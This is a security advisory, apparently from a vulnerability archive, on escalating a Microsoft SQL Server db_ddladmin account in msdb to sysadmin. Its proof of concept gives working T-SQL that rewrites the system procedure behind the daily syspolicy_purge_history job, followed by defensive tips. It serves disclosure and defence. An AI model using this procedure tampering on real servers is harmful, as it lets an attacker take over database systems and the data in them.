what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Microsoft SQL Server db_ddladmin Privilege Escalation

Microsoft SQL Server db_ddladmin Privilege Escalation
Posted Jan 9, 2024
Authored by Emad Al-Mousa

Microsoft SQL Server versions 2014 through 2022 suffers from a db_ddladmin privilege escalation vulnerability. When escalated to Microsoft as a concern, they instead opted to update their documentation to note that this is possible instead of addressing the issue.

tags | advisory
SHA-256 | cac3f425f4cca8e96dd9616578d2788098261640c115710127e2b2ec6da21b6c

Microsoft SQL Server db_ddladmin Privilege Escalation

Change Mirror Download
Title: SQL Server Privilege Escalation from db_ddladmin to sysadmin
Product: Microsoft SQL Server
Affected Version(s): 2014,2016,2017,2019,2022
Tested Version(s): 2014,2016,2017,2019,2022
Risk Level: Medium
Author of Advisory: Emad Al-Mousa

Overview:

Privilege Escalation is a serious security attack that attackers seek to compromise IT infrastructure and systems. attackers will either exploit vulnerabilites or misconfiguration in the system to escalate their permissions and take over the whole system.

*****************************************
Vulnerability Details:

By design when you install SQL Server database engine a job is created called “syspolicy_purge_history” , and this job by design will run every day. This job can be weaponized for privilege escalation attack.

attacker will require to compromise a database account that is added in MSDB system database and is granted db_ddladmin role.


*****************************************
Proof of Concept (PoC):


I will create a dummy account called “toto” (for the sake of simulation it will be SQL Authenticated account):

USE [master]

GO

CREATE LOGIN [toto] WITH PASSWORD=N'toto', DEFAULT_DATABASE=[master], DEFAULT_LANGUAGE=[us_english], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF

GO

And, then I will add the account as database user in system database MSDB with db_ddladmin permission:

USE [msdb]

GO

CREATE USER [toto] FOR LOGIN [toto]

GO

USE [msdb]

GO

ALTER ROLE [db_ddladmin] ADD MEMBER [toto]

GO

Then, I will execute the following modification code against the procedure:

USE [msdb]

GO

ALTER PROCEDURE [dbo].[sp_syspolicy_purge_history]

AS

BEGIN

ALTER SERVER ROLE [sysadmin] ADD MEMBER [toto]

END


The next scheduled run-time for the job syspolicy_purge_history, the account toto will be escalated to SYSADMIN role, which means he will he/she will take over the whole SQL Server database system.


-***- To protect from such attacks you will need to follow these security tips:

Implement in-place auditing for privilege escalation attacks [smart auditing….don’t audit everything as auditing will impose performance overhead]

Implement least privilege concept in your environment, do not grant any account extra permissions that can be weaponized for security breach.

Strong Identity and account management approach should be in-place, passwords policies are important to make brute force attacks challenging.

patch your environments , and follow best security practices.

*****************************************
References:
https://databasesecurityninja.wordpress.com/2024/01/07/sql-server-privilege-escalation-from-db_ddladmin-to-sysadmin/
https://learn.microsoft.com/en-us/sql/relational-databases/security/authentication-access/database-level-roles?view=sql-server-ver16




Login or Register to add favorites

File Archive:

August 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    15 Files
  • 2
    Aug 2nd
    22 Files
  • 3
    Aug 3rd
    0 Files
  • 4
    Aug 4th
    0 Files
  • 5
    Aug 5th
    15 Files
  • 6
    Aug 6th
    11 Files
  • 7
    Aug 7th
    43 Files
  • 8
    Aug 8th
    42 Files
  • 9
    Aug 9th
    36 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    27 Files
  • 13
    Aug 13th
    18 Files
  • 14
    Aug 14th
    50 Files
  • 15
    Aug 15th
    33 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close